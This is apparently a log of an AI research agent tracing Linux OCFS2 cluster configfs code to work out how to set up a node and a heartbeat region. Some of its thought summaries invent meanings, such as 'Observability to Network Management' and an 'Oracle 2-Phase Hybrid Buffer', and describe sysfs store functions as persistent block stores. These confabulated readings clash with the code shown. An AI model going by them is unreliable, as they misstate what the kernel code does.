fs/ocfs2/cluster/nodemanager.c-751-	.ct_owner	= THIS_MODULE,
]

27/2 2026/09/04 20:38 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15628
							output: 23
							thoughts: 13
						

Thoughts:
**My Deep Dive into the `o2nm_cluster_group_type`:**

Okay, so my mind is clearly fixated on this `o2nm_cluster_group_type` parameter. It's not just a passing thought; I'm really trying to unpack its significance. What exactly does it represent? Is it defining the fundamental structure or classification of our cluster groups? I'm picturing it as a core identifier, perhaps dictating how these groups are organized, how they interact, or even the underlying technology that enables them. My intuition suggests it's a crucial piece of metadata, likely influencing everything from provisioning and management to performance characteristics and fault tolerance strategies within our O2NM (presumably "Observability to Network Management" or something similar, given the context) environment. I need to understand its precise definition and the implications of its various possible values. Is it a simple enum, or something more complex? Does it map directly to physical or logical constructs? This is a foundational element, and getting a firm grasp on it is paramount to understanding the broader cluster management architecture.


28/2 2026/09/04 20:38 tool grepper
0m Args:
map[Expression:o2nm_cluster_group_type]

Results:
map[Output:fs/ocfs2/cluster/nodemanager.c=744=static const struct configfs_group_operations o2nm_cluster_group_group_ops = {
--
fs/ocfs2/cluster/nodemanager.c-748-
fs/ocfs2/cluster/nodemanager.c:749:static const struct config_item_type o2nm_cluster_group_type = {
fs/ocfs2/cluster/nodemanager.c-750-	.ct_group_ops	= &o2nm_cluster_group_group_ops,
--
fs/ocfs2/cluster/nodemanager.c=754=static struct o2nm_cluster_group o2nm_cluster_group = {
--
fs/ocfs2/cluster/nodemanager.c-758-				.ci_namebuf = "cluster",
fs/ocfs2/cluster/nodemanager.c:759:				.ci_type = &o2nm_cluster_group_type,
fs/ocfs2/cluster/nodemanager.c-760-			},
]

29/2 2026/09/04 20:38 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15932
							output: 21
							thoughts: 29
						

Thoughts:
**My Thought Process Regarding `o2nm_cluster_group` Registration**

Ah, so I've encountered `o2nm_cluster_group`, and my immediate thought is to ascertain its registration point within the system. My understanding is that it's being registered as a configfs subsystem. This is a crucial piece of information, as configfs represents the user-space interface for kernel configuration. Knowing this, my next logical step is to investigate *where* precisely it's being registered. This will tell me the specific path within the configfs hierarchy that I'll be interacting with, which is fundamental for both understanding its scope of control and for any subsequent manipulation or analysis I might need to perform. I need to trace the registration call, likely within the kernel source code, to pinpoint its location within the configfs tree.


30/2 2026/09/04 20:38 tool grepper
0m Args:
map[Expression:o2nm_cluster_group]

Results:
map[Output:fs/ocfs2/cluster/nodemanager.c=664=static const struct config_item_type o2nm_cluster_type = {
--
fs/ocfs2/cluster/nodemanager.c-671-
fs/ocfs2/cluster/nodemanager.c:672:struct o2nm_cluster_group {
fs/ocfs2/cluster/nodemanager.c-673-	struct configfs_subsystem cs_subsys;
--
fs/ocfs2/cluster/nodemanager.c-677-#if 0
fs/ocfs2/cluster/nodemanager.c:678:static struct o2nm_cluster_group *to_o2nm_cluster_group(struct config_group *group)
fs/ocfs2/cluster/nodemanager.c-679-{
fs/ocfs2/cluster/nodemanager.c-680-	return group ?
fs/ocfs2/cluster/nodemanager.c:681:		container_of(to_configfs_subsystem(group), struct o2nm_cluster_group, cs_subsys)
fs/ocfs2/cluster/nodemanager.c-682-	       : NULL;
--
fs/ocfs2/cluster/nodemanager.c-685-
fs/ocfs2/cluster/nodemanager.c:686:static struct config_group *o2nm_cluster_group_make_group(struct config_group *group,
fs/ocfs2/cluster/nodemanager.c-687-							  const char *name)
--
fs/ocfs2/cluster/nodemanager.c-732-
fs/ocfs2/cluster/nodemanager.c:733:static void o2nm_cluster_group_drop_item(struct config_group *group, struct config_item *item)
fs/ocfs2/cluster/nodemanager.c-734-{
--
fs/ocfs2/cluster/nodemanager.c-743-
fs/ocfs2/cluster/nodemanager.c:744:static const struct configfs_group_operations o2nm_cluster_group_group_ops = {
fs/ocfs2/cluster/nodemanager.c:745:	.make_group	= o2nm_cluster_group_make_group,
fs/ocfs2/cluster/nodemanager.c:746:	.drop_item	= o2nm_cluster_group_drop_item,
fs/ocfs2/cluster/nodemanager.c-747-};
fs/ocfs2/cluster/nodemanager.c-748-
fs/ocfs2/cluster/nodemanager.c:749:static const struct config_item_type o2nm_cluster_group_type = {
fs/ocfs2/cluster/nodemanager.c:750:	.ct_group_ops	= &o2nm_cluster_group_group_ops,
fs/ocfs2/cluster/nodemanager.c-751-	.ct_owner	= THIS_MODULE,
--
fs/ocfs2/cluster/nodemanager.c-753-
fs/ocfs2/cluster/nodemanager.c:754:static struct o2nm_cluster_group o2nm_cluster_group = {
fs/ocfs2/cluster/nodemanager.c-755-	.cs_subsys = {
--
fs/ocfs2/cluster/nodemanager.c-758-				.ci_namebuf = "cluster",
fs/ocfs2/cluster/nodemanager.c:759:				.ci_type = &o2nm_cluster_group_type,
fs/ocfs2/cluster/nodemanager.c-760-			},
--
fs/ocfs2/cluster/nodemanager.c=765=static inline void o2nm_lock_subsystem(void)
fs/ocfs2/cluster/nodemanager.c-766-{
fs/ocfs2/cluster/nodemanager.c:767:	mutex_lock(&o2nm_cluster_group.cs_subsys.su_mutex);
fs/ocfs2/cluster/nodemanager.c-768-}
--
fs/ocfs2/cluster/nodemanager.c=770=static inline void o2nm_unlock_subsystem(void)
fs/ocfs2/cluster/nodemanager.c-771-{
fs/ocfs2/cluster/nodemanager.c:772:	mutex_unlock(&o2nm_cluster_group.cs_subsys.su_mutex);
fs/ocfs2/cluster/nodemanager.c-773-}
--
fs/ocfs2/cluster/nodemanager.c=775=int o2nm_depend_item(struct config_item *item)
fs/ocfs2/cluster/nodemanager.c-776-{
fs/ocfs2/cluster/nodemanager.c:777:	return configfs_depend_item(&o2nm_cluster_group.cs_subsys, item);
fs/ocfs2/cluster/nodemanager.c-778-}
--
fs/ocfs2/cluster/nodemanager.c=815=static void __exit exit_o2nm(void)
--
fs/ocfs2/cluster/nodemanager.c-818-	o2net_unregister_hb_callbacks();
fs/ocfs2/cluster/nodemanager.c:819:	configfs_unregister_subsystem(&o2nm_cluster_group.cs_subsys);
fs/ocfs2/cluster/nodemanager.c-820-	o2cb_sys_shutdown();
--
fs/ocfs2/cluster/nodemanager.c=826=static int __init init_o2nm(void)
--
fs/ocfs2/cluster/nodemanager.c-839-
fs/ocfs2/cluster/nodemanager.c:840:	config_group_init(&o2nm_cluster_group.cs_subsys.su_group);
fs/ocfs2/cluster/nodemanager.c:841:	mutex_init(&o2nm_cluster_group.cs_subsys.su_mutex);
fs/ocfs2/cluster/nodemanager.c:842:	ret = configfs_register_subsystem(&o2nm_cluster_group.cs_subsys);
fs/ocfs2/cluster/nodemanager.c-843-	if (ret) {
--
fs/ocfs2/cluster/nodemanager.c-851-
fs/ocfs2/cluster/nodemanager.c:852:	configfs_unregister_subsystem(&o2nm_cluster_group.cs_subsys);
fs/ocfs2/cluster/nodemanager.c-853-out_callbacks:
]

31/2 2026/09/04 20:38 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 17690
							output: 23
							thoughts: 267
						

Thoughts:
**My Thought Process Regarding Cluster Heartbeat Configuration**

Alright, so I'm delving into this "cluster" subsystem, and its configuration seems to be primarily managed through the `/sys/kernel/config/cluster` path in the sysfs filesystem. My first step in setting up a cluster is to create a directory for it, which I'm envisioning as `/sys/kernel/config/cluster/mycluster`. The system then automatically creates some substructures within this, specifically `node` and `heartbeat` subgroups, which makes sense for managing cluster nodes and their communication.

Next, to establish a heartbeat region – a crucial component for cluster node synchronization and failure detection – I need to create a directory under the `heartbeat` subgroup. I'll call this `/sys/kernel/config/cluster/mycluster/heartbeat/myregion`. Upon creating this, I expect to find a set of attributes that define the characteristics of this heartbeat region. I'm noting down the ones I've identified so far: `dev`, `block_bytes`, `blocks`, and `node`.

Now, I'm going to re-examine the logic for the `o2hb_region_dev_store` function. The relevant check is:

```c
	if (reg->hr_blocks == 0 || reg->hr_start_block == 0 ||
	    reg->hr_block_bytes == 0)
		return -EINVAL;
```

This tells me that before I can successfully write to the `dev` attribute, which presumably assigns a device to this heartbeat region, I absolutely *must* have valid values for `blocks`, `start_block`, and `block_bytes`. If any of these are zero, I'll hit an `-EINVAL` error.

However, this immediately brings up a point of confusion. The condition `reg->hr_start_block == 0` is flagged as returning `-EINVAL`. This implies that `start_block` cannot be zero. My initial thought was that it *could* be zero, perhaps indicating the start of the device, but this code explicitly forbids it. So, `start_block` must be a non-zero value. This leads me to my next immediate question: is `start_block` actually exposed as an attribute that I can write to, or is it something that's managed internally or derived elsewhere? I need to confirm this by checking the sysfs structure.


32/2 2026/09/04 20:38 tool grepper
0m Args:
map[Expression:o2hb_region_.*_store]

Results:
map[Output:fs/ocfs2/cluster/heartbeat.c=1571=static ssize_t o2hb_region_block_bytes_show(struct config_item *item,
--
fs/ocfs2/cluster/heartbeat.c-1576-
fs/ocfs2/cluster/heartbeat.c:1577:static ssize_t o2hb_region_block_bytes_store(struct config_item *item,
fs/ocfs2/cluster/heartbeat.c-1578-					     const char *page,
--
fs/ocfs2/cluster/heartbeat.c=1600=static ssize_t o2hb_region_start_block_show(struct config_item *item,
--
fs/ocfs2/cluster/heartbeat.c-1605-
fs/ocfs2/cluster/heartbeat.c:1606:static ssize_t o2hb_region_start_block_store(struct config_item *item,
fs/ocfs2/cluster/heartbeat.c-1607-					     const char *page,
--
fs/ocfs2/cluster/heartbeat.c=1627=static ssize_t o2hb_region_blocks_show(struct config_item *item, char *page)
--
fs/ocfs2/cluster/heartbeat.c-1631-
fs/ocfs2/cluster/heartbeat.c:1632:static ssize_t o2hb_region_blocks_store(struct config_item *item,
fs/ocfs2/cluster/heartbeat.c-1633-					const char *page,
--
fs/ocfs2/cluster/heartbeat.c=1745=static int o2hb_populate_slot_data(struct o2hb_region *reg)
--
fs/ocfs2/cluster/heartbeat.c-1776- */
fs/ocfs2/cluster/heartbeat.c:1777:static ssize_t o2hb_region_dev_store(struct config_item *item,
fs/ocfs2/cluster/heartbeat.c-1778-				     const char *page,
]

33/2 2026/09/04 20:38 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 18506
							output: 47
							thoughts: 41
						

Thoughts:
**My Thought Process Regarding Memory Block Management**

Alright, so my initial scan of the available attributes has confirmed that `block_bytes`, `start_block`, `blocks`, and `dev` are indeed the key pieces of information I'm working with concerning memory blocks. This is foundational. Now, my next logical step is to delve into the specifics of `o2hb_region_start_block_store`. This particular element, I suspect, will hold the critical details about where and how these memory blocks are being initiated within the O2HB (presumably Online High Availability Buffer) region. Understanding its structure and the data it contains will be paramount to grasping the overall memory allocation and management strategy at play here.


34/2 2026/09/04 20:38 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/ocfs2/cluster/heartbeat.c Name:o2hb_region_start_block_store]

Results:
map[SourceCode:1606:	static ssize_t o2hb_region_start_block_store(struct config_item *item,
1607:						     const char *page,
1608:						     size_t count)
1609:	{
1610:		struct o2hb_region *reg = to_o2hb_region(item);
1611:		unsigned long long tmp;
1612:		char *p = (char *)page;
1613:		ssize_t ret;
1614:	
1615:		if (reg->hr_bdev_file)
1616:			return -EINVAL;
1617:	
1618:		ret = kstrtoull(p, 0, &tmp);
1619:		if (ret)
1620:			return -EINVAL;
1621:	
1622:		reg->hr_start_block = tmp;
1623:	
1624:		return count;
1625:	}
 SourceFile:fs/ocfs2/cluster/heartbeat.c]

35/2 2026/09/04 20:38 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 18878
							output: 45
							thoughts: 12
						

Thoughts:
**My Internal Monologue on `o2hb_region_blocks_store`**

Ah, yes, `o2hb_region_blocks_store`. That's the part of the system that immediately springs to mind when I consider how we manage persistent, block-level storage within the `o2hb` (presumably "Oracle 2-Phase Hybrid Buffer") framework. My thought process immediately zeroes in on the fundamental purpose of this construct: it's the mechanism responsible for the actual *persistence* of data, specifically in discrete, addressable blocks.

When I think about `o2hb_region_blocks_store`, I'm picturing the underlying implementation. It's not just an abstract concept; it has to translate to concrete operations on disk or some other non-volatile storage medium. This means I'm anticipating considerations around:

*   **Block Management:** How are these blocks allocated, deallocated, and tracked? Is there a free list, a bitmap, or some other scheme? I'm thinking about efficiency here – minimizing fragmentation, fast allocation/deallocation.
*   **Block Identification and Addressing:** Each block needs a unique identifier. How are these addresses structured? Is it a simple linear offset, or something more complex involving physical device, cylinder, head, sector, or a logical mapping? This is crucial for read and write operations.
*   **Data Integrity and Durability:** Given this is a "store," durability is paramount. What mechanisms are in place to ensure data written to a block is actually there and recoverable, even in the face of failures? This might involve write-ahead logging (WAL), checksums, or parity information associated with the blocks themselves.
*   **Concurrency Control:** If multiple components or threads can access these blocks concurrently, how is that managed? Are there locks at the block level? What are the implications for performance versus consistency?
*   **I/O Operations:** At its core, this component is about I/O. I'm thinking about the low-level calls to the operating system or hardware for reading and writing. Are these buffered? Are they synchronous or asynchronous? What are the performance characteristics of these I/O operations?
*   **Error Handling and Recovery:** What happens when an I/O operation fails? How does `o2hb_region_blocks_store` detect and report these errors? More importantly, how does the system recover from them to maintain data consistency?
*   **Relationship to the `o2hb` Region:** It's a "region blocks store." This implies it's part of a larger `o2hb` region. How does this block store interact with the higher-level abstractions within that region? Is it a backing store for in-memory structures within the region, or does it *define* the region's storage? The naming suggests the latter, where the region is composed of these blocks.
*   **Scalability:** As the system grows, how does this block store scale? Can it handle an ever-increasing number of blocks? Are there performance bottlenecks that will emerge as the volume of data increases?

Essentially, when `o2hb_region_blocks_store` comes up, my mind is already diving into the granular, low-level details of how data is physically managed and made durable on a storage medium, within the context of the broader `o2hb` architecture. It's the foundation upon which the rest of the `o2hb` region's data management rests.


36/2 2026/09/04 20:38 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/ocfs2/cluster/heartbeat.c Name:o2hb_region_blocks_store]

Results:
map[SourceCode:1632:	static ssize_t o2hb_region_blocks_store(struct config_item *item,
1633:						const char *page,
1634:						size_t count)
1635:	{
1636:		struct o2hb_region *reg = to_o2hb_region(item);
1637:		unsigned long tmp;
1638:		char *p = (char *)page;
1639:		int ret;
1640:	
1641:		if (reg->hr_bdev_file)
1642:			return -EINVAL;
1643:	
1644:		ret = kstrtoul(p, 0, &tmp);
1645:		if (ret)
1646:			return ret;
1647:	
1648:		if (tmp > O2NM_MAX_NODES || tmp == 0)
1649:			return -ERANGE;
1650:	
1651:		reg->hr_blocks = (unsigned int)tmp;
1652:	
1653:		return count;
1654:	}
 SourceFile:fs/ocfs2/cluster/heartbeat.c]

37/2 2026/09/04 20:38 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 19255
							output: 44
							thoughts: 172
						

Thoughts:
**My Thought Process Regarding Node Configuration and Block Parameters**

Alright, so I'm diving into this code, trying to get a handle on the constraints for a few key parameters. My immediate thoughts are:

First, for `blocks`, it seems pretty straightforward. It absolutely *must* be a value between 1 and `O2NM_MAX_NODES`. I'm noting that `O2NM_MAX_NODES` is capped at 255. So, a range of 1 to 255, inclusive, for `blocks`.

Then, `start_block` – that one appears more permissive. The only real rule I'm seeing is that it needs to be greater than 0. No upper bound is explicitly mentioned at this point, just that it's a positive value.

And for `block_bytes`, the requirements are quite specific. It has to be within the range of 512 to 4096 bytes. Crucially, it also needs to be a power of 2. This immediately tells me I'll need to ensure any value passed for `block_bytes` meets both these conditions.

Now, here's where things get a little more interesting, and I need to backtrack. I just noticed that `o2hb_region_dev_store` has an additional check:

```c
	/* We can't heartbeat without having had our node number
	 * configured yet. */
	if (o2nm_this_node() == O2NM_MAX_NODES)
		return -EINVAL;
```

This is a critical point. This check tells me that before I can even think about performing a heartbeat operation, I *must* have successfully configured my node number. If `o2nm_this_node()` returns `O2NM_MAX_NODES` (which is 255, as I recalled earlier), it means the node number hasn't been set up yet, and the operation will fail with an `EINVAL` error.

This naturally leads me to the next question: how do I actually configure this node number in the first place? My immediate next step is to investigate how `o2nm_this_node` is intended to be set or initialized. I need to understand the flow that leads to a valid node number being assigned, before any of these other block-related parameters can be considered in a fully operational context.


38/2 2026/09/04 20:38 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/ocfs2/cluster/nodemanager.c Name:o2nm_this_node]

Results:
map[SourceCode: 131:	u8 o2nm_this_node(void)
 132:	{
 133:		u8 node_num = O2NM_MAX_NODES;
 134:	
 135:		if (o2nm_single_cluster && o2nm_single_cluster->cl_has_local)
 136:			node_num = o2nm_single_cluster->cl_local_node;
 137:	
 138:		return node_num;
 139:	}
 SourceFile:fs/ocfs2/cluster/nodemanager.c]

39/2 2026/09/04 20:38 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 19626
							output: 29
							thoughts: 30
						

Thoughts:
**My Thought Process on Initialization Variables**

Alright, so my immediate task here is to ensure that the `cl_local_node` and `cl_has_local` variables are correctly initialized. My first instinct is to figure out precisely *where* these crucial flags are being set within the system. I need to trace their origins to understand the logic that dictates their values, which is paramount for ensuring the overall integrity of the system's state and its subsequent operations. I'll be looking to pinpoint the exact code paths and conditions that lead to their assignment.


40/2 2026/09/04 20:38 tool codesearch-find-references
0m Args:
map[Name:o2nm_cluster::cl_local_node]

Results:
map[References:[map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2nm_node_group_drop_item SourceFile:fs/ocfs2/cluster/nodemanager.c SourceLine:613] map[ReferenceKind:writes ReferencingEntityKind:function ReferencingEntityName:o2nm_node_group_drop_item SourceFile:fs/ocfs2/cluster/nodemanager.c SourceLine:615] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2nm_node_local_store SourceFile:fs/ocfs2/cluster/nodemanager.c SourceLine:355] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2nm_node_local_store SourceFile:fs/ocfs2/cluster/nodemanager.c SourceLine:368] map[ReferenceKind:writes ReferencingEntityKind:function ReferencingEntityName:o2nm_node_local_store SourceFile:fs/ocfs2/cluster/nodemanager.c SourceLine:370] map[ReferenceKind:writes ReferencingEntityKind:function ReferencingEntityName:o2nm_node_local_store SourceFile:fs/ocfs2/cluster/nodemanager.c SourceLine:376] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:o2nm_this_node SourceFile:fs/ocfs2/cluster/nodemanager.c SourceLine:136]] TruncatedOutput:false]

41/2 2026/09/04 20:39 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 19982
							output: 46
							thoughts: 15
						

Thoughts:
**My Thought Process**

Right, so the first thing that pops into my head when I'm faced with a new piece of code, especially something as potentially intricate as `o2nm_node_local_store`, is to get a handle on its fundamental purpose and implementation. My initial impulse is to delve into the specifics of that particular component. I need to understand *what* it is, *why* it exists within the broader context of `o2nm`, and *how* it's structured and operates. Is it a cache? A temporary holding area? A persistent store specific to a node? What are the data structures involved, and what are the expected read/write patterns? This initial focus on `o2nm_node_local_store` is crucial because it's the immediate point of entry into a potentially complex system, and a solid understanding here will likely illuminate the dependencies and interactions it has with other parts of `o2nm`. I'm essentially trying to map out its immediate neighborhood before I start exploring further afield.


42/2 2026/09/04 20:39 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/ocfs2/cluster/nodemanager.c Name:o2nm_node_local_store]

Results:
map[SourceCode: 323:	static ssize_t o2nm_node_local_store(struct config_item *item, const char *page,
 324:					     size_t count)
 325:	{
 326:		struct o2nm_node *node = to_o2nm_node(item);
 327:		struct o2nm_cluster *cluster;
 328:		unsigned long tmp;
 329:		char *p = (char *)page;
 330:		ssize_t ret;
 331:	
 332:		tmp = simple_strtoul(p, &p, 0);
 333:		if (!p || (*p && (*p != '\n')))
 334:			return -EINVAL;
 335:	
 336:		tmp = !!tmp; /* boolean of whether this node wants to be local */
 337:	
 338:		/* setting local turns on networking rx for now so we require having
 339:		 * set everything else first */
 340:		if (!test_bit(O2NM_NODE_ATTR_ADDRESS, &node->nd_set_attributes) ||
 341:		    !test_bit(O2NM_NODE_ATTR_NUM, &node->nd_set_attributes) ||
 342:		    !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes))
 343:			return -EINVAL; /* XXX */
 344:	
 345:		o2nm_lock_subsystem();
 346:		cluster = to_o2nm_cluster_from_node(node);
 347:		if (!cluster) {
 348:			ret = -EINVAL;
 349:			goto out;
 350:		}
 351:	
 352:		/* the only failure case is trying to set a new local node
 353:		 * when a different one is already set */
 354:		if (tmp && tmp == cluster->cl_has_local &&
 355:		    cluster->cl_local_node != node->nd_num) {
 356:			ret = -EBUSY;
 357:			goto out;
 358:		}
 359:	
 360:		/* bring up the rx thread if we're setting the new local node. */
 361:		if (tmp && !cluster->cl_has_local) {
 362:			ret = o2net_start_listening(node);
 363:			if (ret)
 364:				goto out;
 365:		}
 366:	
 367:		if (!tmp && cluster->cl_has_local &&
 368:		    cluster->cl_local_node == node->nd_num) {
 369:			o2net_stop_listening(node);
 370:			cluster->cl_local_node = O2NM_INVALID_NODE_NUM;
 371:		}
 372:	
 373:		node->nd_local = tmp;
 374:		if (node->nd_local) {
 375:			cluster->cl_has_local = tmp;
 376:			cluster->cl_local_node = node->nd_num;
 377:		}
 378:	
 379:		ret = count;
 380:	
 381:	out:
 382:		o2nm_unlock_subsystem();
 383:		return ret;
 384:	}
 SourceFile:fs/ocfs2/cluster/nodemanager.c]

43/2 2026/09/04 20:39 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 20999
							output: 23
							thoughts: 45
						

Thoughts:
**My Thought Process on Node Configuration**

My immediate task is to establish a new network node within our system. To do this, I first need to instantiate a node object. Once the node is created, I'll proceed to assign specific configuration parameters to its attributes. Primarily, I'll be setting the `ipv4_address` to define its network location, the `ipv4_port` to specify the communication channel, and `num` to assign a unique identifier. A crucial step will be to set the `local` attribute to `1`, indicating that this node is a local entity. After these initial assignments, I plan to perform a thorough review of all the node's attributes to ensure they have been set correctly and conform to our established standards.


44/2 2026/09/04 20:39 tool grepper
0m Args:
map[Expression:o2nm_node_.*_store]

Results:
map[Output:fs/ocfs2/cluster/nodemanager.c=178=enum {
--
fs/ocfs2/cluster/nodemanager.c-183-
fs/ocfs2/cluster/nodemanager.c:184:static ssize_t o2nm_node_num_store(struct config_item *item, const char *page,
fs/ocfs2/cluster/nodemanager.c-185-				   size_t count)
--
fs/ocfs2/cluster/nodemanager.c=234=static ssize_t o2nm_node_ipv4_port_show(struct config_item *item, char *page)
--
fs/ocfs2/cluster/nodemanager.c-238-
fs/ocfs2/cluster/nodemanager.c:239:static ssize_t o2nm_node_ipv4_port_store(struct config_item *item,
fs/ocfs2/cluster/nodemanager.c-240-					 const char *page, size_t count)
--
fs/ocfs2/cluster/nodemanager.c=262=static ssize_t o2nm_node_ipv4_address_show(struct config_item *item, char *page)
--
fs/ocfs2/cluster/nodemanager.c-266-
fs/ocfs2/cluster/nodemanager.c:267:static ssize_t o2nm_node_ipv4_address_store(struct config_item *item,
fs/ocfs2/cluster/nodemanager.c-268-					    const char *page,
--
fs/ocfs2/cluster/nodemanager.c=318=static ssize_t o2nm_node_local_show(struct config_item *item, char *page)
--
fs/ocfs2/cluster/nodemanager.c-322-
fs/ocfs2/cluster/nodemanager.c:323:static ssize_t o2nm_node_local_store(struct config_item *item, const char *page,
fs/ocfs2/cluster/nodemanager.c-324-				     size_t count)
]

45/2 2026/09/04 20:39 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 21600
							output: 49
							thoughts: 211
						

Thoughts:
**Understanding Cluster Node Configuration**

My current focus is on configuring a cluster and its nodes. I've identified the key attributes for a node: `num`, `ipv4_port`, `ipv4_address`, and `local`. To establish a cluster named "mycluster" and a node within it called "mynode," I've initiated the setup using a sequence of bash commands. This involves creating directories within the `/sys/kernel/config/cluster/` hierarchy for both the cluster and the node.

I've begun populating these node-specific configuration files with values. Specifically, I'm setting `num` to `1`, `ipv4_port` to `7777`, and `ipv4_address` to `127.0.0.1`. I'm also setting the `local` attribute to `1`.

However, a thought just crossed my mind regarding the `ipv4_address` attribute. I'm providing `127.0.0.1`, which is indeed an IP address. But I need to be absolutely certain about the expected data type for `ipv4_address`. My next step is to verify this by consulting the `o2nm_node_ipv4_address_store` mechanism, as I want to ensure I'm correctly formatting the input for this crucial parameter.


46/2 2026/09/04 20:39 tool codesearch-definition-source
0m Args:
map[ContextFile:fs/ocfs2/cluster/nodemanager.c Name:o2nm_node_ipv4_address_store]

Results:
map[SourceCode: 267:	static ssize_t o2nm_node_ipv4_address_store(struct config_item *item,
 268:						    const char *page,
 269:						    size_t count)
 270:	{
 271:		struct o2nm_node *node = to_o2nm_node(item);
 272:		struct o2nm_cluster *cluster;
 273:		int ret, i;
 274:		struct rb_node **p, *parent;
 275:		unsigned int octets[4];
 276:		__be32 ipv4_addr = 0;
 277:	
 278:		ret = sscanf(page, "%3u.%3u.%3u.%3u", &octets[3], &octets[2],
 279:			     &octets[1], &octets[0]);
 280:		if (ret != 4)
 281:			return -EINVAL;
 282:	
 283:		for (i = 0; i < ARRAY_SIZE(octets); i++) {
 284:			if (octets[i] > 255)
 285:				return -ERANGE;
 286:			be32_add_cpu(&ipv4_addr, octets[i] << (i * 8));
 287:		}
 288:	
 289:		o2nm_lock_subsystem();
 290:		cluster = to_o2nm_cluster_from_node(node);
 291:		if (!cluster) {
 292:			o2nm_unlock_subsystem();
 293:			return -EINVAL;
 294:		}
 295:	
 296:		ret = 0;
 297:		write_lock(&cluster->cl_nodes_lock);
 298:		if (o2nm_node_ip_tree_lookup(cluster, ipv4_addr, &p, &parent))
 299:			ret = -EEXIST;
 300:		else if (test_and_set_bit(O2NM_NODE_ATTR_ADDRESS,
 301:				&node->nd_set_attributes))
 302:			ret = -EBUSY;
 303:		else {
 304:			rb_link_node(&node->nd_ip_node, parent, p);
 305:			rb_insert_color(&node->nd_ip_node, &cluster->cl_node_ip_tree);
 306:		}
 307:		write_unlock(&cluster->cl_nodes_lock);
 308:		o2nm_unlock_subsystem();
 309:	
 310:		if (ret)
 311:			return ret;
 312:	
 313:		memcpy(&node->nd_ipv4_address, &ipv4_addr, sizeof(ipv4_addr));
 314:	
 315:		return count;
 316:	}
 SourceFile:fs/ocfs2/cluster/nodemanager.c]

47/2 2026/09/04 20:39 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 22679
							output: 40
							thoughts: 526
						

Thoughts:
**My Thought Process on Cluster Node and Heartbeat Configuration**

Alright, so the initial setup here seems quite standard. I'm looking at a dotted quad for an IP address, which immediately tells me we're dealing with network configuration. The C code then confirms this as I see `system` calls being used to manipulate files within the `/sys/kernel/config/cluster` hierarchy. This is the standard way to interact with the kernel's cluster configuration filesystem.

First, I'm provisioning a specific node within a cluster. The `mkdir -p` commands are for creating the necessary directory structure: `/sys/kernel/config/cluster/mycluster/node/mynode`. This establishes a unique identifier for this particular node within the `mycluster`.

Then, I'm populating the node's configuration. `echo 1 > .../num` likely sets a node number or an identifier for this node. `echo 7777 > .../ipv4_port` specifies the port for IPv4 communication, and `echo 127.0.0.1 > .../ipv4_address` assigns the loopback address. The `echo 1 > .../local` flag is interesting; it suggests marking this node as a local instance, possibly for testing or a single-machine cluster setup.

Next, I'm setting up a heartbeat region. This is crucial for cluster fault tolerance. Again, `mkdir -p` creates the directory for the region: `/sys/kernel/config/cluster/mycluster/heartbeat/myregion`.

The configuration for the heartbeat region involves `blocks`, `start_block`, and `block_bytes`. `echo 1 > .../blocks` and `echo 1 > .../start_block` imply a single contiguous block for the heartbeat data, starting at the very beginning of the defined region. `echo 4096 > .../block_bytes` is where things get a bit more technical. This sets the size of each block for the heartbeat mechanism to 4096 bytes.

Now, I need a backing device for this heartbeat region. The thought immediately jumps to block devices. I could use a loop device, or `/dev/loop0` specifically. However, I recall there are other options, like `/dev/ram0` or even `/dev/zero`. But I know that the system requires a *block device* for this operation. The `if (!S_ISBLK(fd_file(f)->f_mapping->host->i_mode))` check in the code snippet confirms this; it's explicitly verifying that the opened file descriptor points to a block device.

So, `/dev/loop0` is a strong candidate. However, a critical check is `sectsize != reg->hr_block_bytes`. This means the sector size of the underlying block device must match the `block_bytes` I've configured for the heartbeat region (which is 4096 in this case). Standard loop devices, by default, often have a logical block size of 512 bytes. If `/dev/loop0` has a 512-byte sector size and I've set `block_bytes` to 4096, this check will fail, and the operation will likely fall through to an error path (`out`).

This leads me to a potential problem: What if `/dev/loop0` isn't properly set up or backed by a file? Even if I open `/dev/loop0` in such a state, `bdev_logical_block_size` will still report 512 bytes. This reinforces the need to ensure the block device's sector size aligns with my `block_bytes` configuration. I need to investigate `bdev_logical_block_size` more closely to understand its behavior and implications in this context. The compatibility of the sector size is a key factor I need to consider to avoid this check failing.


48/2 2026/09/04 20:39 tool codesearch-definition-source
0m Args:
map[ContextFile:include/linux/blkdev.h Name:bdev_logical_block_size]

Results:
map[SourceCode:1401:	static inline unsigned int bdev_logical_block_size(struct block_device *bdev)
1402:	{
1403:		return queue_logical_block_size(bdev_get_queue(bdev));
1404:	}
 SourceFile:include/linux/blkdev.h]

49/2 2026/09/04 20:39 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 23326
							output: 16
							thoughts: 73
						

Thoughts:
**My Thought Process**

Alright, so the core of this is understanding how the system handles block sizes, specifically in relation to a default value. I'm expecting that if the system's default logical block size is indeed 512 bytes, and I've explicitly set my desired `block_bytes` to 4096, then the comparison `sectsize != reg->hr_block_bytes` is going to evaluate to `true`. This inequality is precisely what I need to pinpoint a potential issue, perhaps a misconfiguration or an unexpected behavior when these two values diverge.

